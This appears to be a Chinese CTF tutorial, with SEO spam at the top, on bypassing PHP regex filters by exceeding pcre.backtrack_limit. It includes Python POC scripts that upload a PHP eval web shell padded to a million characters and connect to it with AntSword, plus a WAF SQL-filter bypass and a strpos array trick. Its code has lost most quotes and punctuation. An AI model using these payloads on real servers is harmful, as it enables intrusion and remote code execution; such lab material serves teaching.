石景山区公司网站建设,谷歌外贸建站多少钱,南昌企业建设网站设计,简易网站开发时长目录 一、正则表达式概述
有限状态自动机
匹配输入的过程分别是#xff1a;
DFA#xff08;确定性有限状态自动机#xff09;
NFA#xff08;非确定性有限状态自动机#xff09;
二、回溯的过程
三、 PHP 的 pcre.backtrack_limit 限制利用
例题一
回溯绕过步骤
DFA确定性有限状态自动机
NFA非确定性有限状态自动机
二、回溯的过程
三、 PHP 的 pcre.backtrack_limit 限制利用
例题一
回溯绕过步骤
1、运行结果 可见无法匹配
2、尝试匹配依旧无法匹配
3、再次尝试发现拿到匹配结果
原因
总结
1、绕过该正则
例题二
1、利用python语言编写回溯绕过一百万次的脚本
回溯过程模拟
例题三
文件上传漏洞
1、编写文件上传脚本
2、上传任意一个文件
3、正则回溯
编写回溯脚本
查看并执行python代码是否成功
temp文件出现
使用中国蚁剑进行连接测试 一、正则表达式概述
正则表达式是一个可以被 “有限状态自动机”接受的语言类。
有限状态自动机 其拥有有限数量的状态每个状态可以迁移到零个或多个状态输入字串决定执行哪个状态的迁移。 而常见的正则引擎又被细分为 DFA确定性有限状态自动机与 NFA非确定性有限状态自动机。
匹配输入的过程分别是
DFA确定性有限状态自动机 从起始状态开始一个字符一个字符地读取输入串并根据正则来一步步确定至下一个转移状态直到匹配不上或走完整个输入
NFA非确定性有限状态自动机 从起始状态开始一个字符一个字符地读取输入串并与正则表达式进行匹配如果匹配不上则进行回溯尝试其他状态
由于 NFA 的执行过程存在回溯所以其性能会劣于 DFA但它支持更多功能。大多数程序语言都使用了 NFA 作为正则引擎其中也包括 PHP 使用的 PCRE 库。
二、回溯的过程
?php
function is_php($data){ return preg_match(/\?.*[(;?].*/is, $data);
}
?php eval()if(!is_php($input)) {// fwrite($f, $input); ...
}
题目中的正则 \?.*[(;?].*假设匹配的输入是 ?php phpinfo();//aaaaa实际执行流程是这样的 回溯过程 在第 4 步的时候因为第一个 .* 可以匹配任何字符所以最终匹配到了输入串的结尾也就是 //aaaaa。但此时显然是不对的因为正则显示.*后面还应该有一个字符 [(;?]。 所以 NFA 就开始回溯先吐出一个 a输入变成第 5 步显示的 //aaaa但仍然匹配不上正则继续吐出 a变成 //aaa仍然匹配不上…… 最终直到吐出;输入变成第 12 步显示的 ?php phpinfo()此时 .* 匹配的是 php phpinfo()而后面的 ; 则匹配上 [(;?] 这个结果满足正则表达式的要求于是不再回溯。13 步开始向后匹配;14 步匹配.*第二个.*匹配到了字符串末尾最后结束匹配。 在调试正则表达式的时候我们可以查看当前回溯的次数
三、 PHP 的 pcre.backtrack_limit 限制利用
PHP 为了防止正则表达式的拒绝服务攻击reDOS给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit。我们可以通过 var_dump(ini_get(pcre.backtrack_limit));的方式查看当前环境下的上限 回溯次数上限默认是 100 万
回溯次数超过了 100 万返回的非 1 和 0是 false。
preg_match 返回的非 1 和 0而是 false。
preg_match 函数返回 false 表示此次执行失败了我们可以调用 var_dump(preg_last_error() PREG_BACKTRACK_LIMIT_ERROR);发现失败的原因的确是回溯次数超出了限制
所以这道题的答案就呼之欲出了。我们通过发送超长字符串的方式使正则执行失败最后绕过目标对 PHP 语言的限制。
对应的 POC 如下
import requests
from io import BytesIOfiles {file: BytesIO(baaa?php eval($_POST[txt]);// ba * 1000000)
}res requests.post(http://xx.xx.xx.xx/index.php, filesfiles, allow_redirectsFalse)
print(res.headers)
四、PCRE 另一种错误的用法
基于 PHP 的 WAF
例一
?php
if(preg_match(/SELECT.FROM./is, $input)) {die(SQL Injection);
}
均存在上述问题通过大量回溯可以进行绕过。
例二
?php
if(preg_match(/UNION.?SELECT/is, $input)) {die(SQL Injection);
}
这里涉及到了正则表达式的「非贪婪模式」。在 NFA 中如果我输入 UNION/*aaaaa*/SELECT这个正则表达式执行流程如下 .? 匹配到/因为非贪婪模式所以.? 停止匹配而由 S 匹配*S 匹配*失败回溯再由.? 匹配*因为非贪婪模式所以.? 停止匹配而由 S 匹配 aS 匹配 a 失败回溯再由.? 匹配 a...回溯次数随着 a 的数量增加而增加。所以我们仍然可以通过发送大量 a来使回溯次数超出 pcre.backtrack_limit 限制进而绕过 WAF例题一
?php
// greeting[]Merry Christmasgreeting[]123
function areyouok($greeting){return preg_match(/Merry.*Christmas/is,$greeting); //正则匹配
}
// greeting[]123
// $greeting$_POST[greeting];if(!areyouok($greeting)){// NULL ! false// Null ! false// null ! false// strposif(strpos($greeting,Merry Christmas) ! false){ //字符查找如果查找到返回字符的位置没有就返回falseecho welcome to nanhang. .flag{i_Lov3_NanHang_everyThing};}else{echo Do you know .swp file?;}
}else{echo Do you know PHP?;
}回溯绕过步骤
1、运行结果 可见无法匹配 2、尝试匹配依旧无法匹配 3、再次尝试发现拿到匹配结果 原因
此时greeting传递的是数组元素是123而 strpos验证的是字符串 由上可见在strpos这个对字符串处理的函数中传递数组那么它将会返回一个NULL
将strpos返回的值NULL与 null ! false 进行对比如果为真则进行下去为假则结束。 当只有一个 bool(false)返回值为false,程序执行结束
?php
var_dump(NULL ! false);
? 当有两个 时返回值为true,程序继续执行
?php
var_dump(NULL ! false);
? 知识点补充
PHP中 比较 0、false、null
松散比较使用两个等号 比较只比较值不比较类型。 严格比较用三个等号 比较除了比较值也比较类型。 在进行比较的时候会先将字符串类型转化成相同再比较 0 false: bool(true)
0 false: bool(false)0 null: bool(true)
0 null: bool(false)false null: bool(true)
false null: bool(false)0 false: bool(true)
0 false: bool(false)0 null: bool(false)
0 null: bool(false) false: bool(true)false: bool(false) null: bool(true)null: bool(false)总结
1、绕过该正则
插入代码
greeting[]123; 此时绕过第一个正则 接着会返回 null ! false;
根据严格不相等原则此时返回结果是true因此代码将会继续执行
例题二
?php
function areyouok($greeting){return preg_match(/Merry.*Christmas/is,$greeting);
}
// 回溯的问题
$greeting$_POST[greeting];
if(!is_array($greeting)){if(!areyouok($greeting)){// strpos string postionif(strpos($greeting,Merry Christmas) ! false){echo Merry Christmas. .flag{i_Lov3_NanHang_everyThing};}else{echo Do you know .swp file?;}}else{echo Do you know PHP?;}
} else {echo fuck array!!!;
}
?
思路 只要将if(!areyouok($greeting))为假并且含有‘Merry Christmas’字符回溯一百万次即可绕过
1、利用python语言编写回溯绕过一百万次的脚本
from requests import post payload {greeting : Merry Christmas a * 1000001
}url http://127.0.0.1/xss_location/dem04.phpres post(url ,datapayload) 回溯超过一百万次后绕过正则此时if(!areyouok($greeting))为假可见最终打印出Merry Christmas由此可见绕过完成
回溯过程模拟 正则回溯实例 例题三
文件上传漏洞
?php
function is_php($data){ return preg_match(/\?.*[(;?].*/is, $data);
}
if(empty($_FILES)) {die(show_source(__FILE__));
}
$user_dir md5($_SERVER[REMOTE_ADDR]);
$data file_get_contents($_FILES[file][tmp_name]);
if (is_php($data)) { exit(bad request);
} else {mkdir($user_dir, 0755); $path $user_dir . / . oupeng.php; //利用move_uploaded_file将临时文件复制到$pathmove_uploaded_file($_FILES[file][tmp_name], $path);
header(Location: $path, true, 303);
}
? 1、编写文件上传脚本
?php
echo pre; //设置输出为格式化输出
var_dump($_FILES);
!DOCTYPE html
html langen
headmeta charsetUTF-8meta nameviewport contentwidthdevice-width, initial-scale1.0titleXss-filter/title
/head
bodyform action./file_upload.php methodpost enctypemultipart/form-datainput typefile namefile idinput typesubmit valuesubmit/form
/body
/html
2、上传任意一个文件 注php上传文件时会生成一个临时文件当文件上传完成时该临时文件将会自动删除
可以通过设置睡眠时间来将临时文件tmp抓到
?php
sleep(100);
echo pre; //设置输出为格式化输出
var_dump($_FILES);
3、正则回溯
编写回溯脚本
from requests import post files {file : r?php eval($_POST[123]);// ra * 1000000
}url http://127.0.0.1/xss_location/demo6.phpres post(url ,filesfiles, allow_redirectsFalse)print (res.headers)
查看并执行python代码是否成功 temp文件出现
此时一句话木马已经写入 使用中国蚁剑进行连接测试 连接成功此时已经绕过漏洞。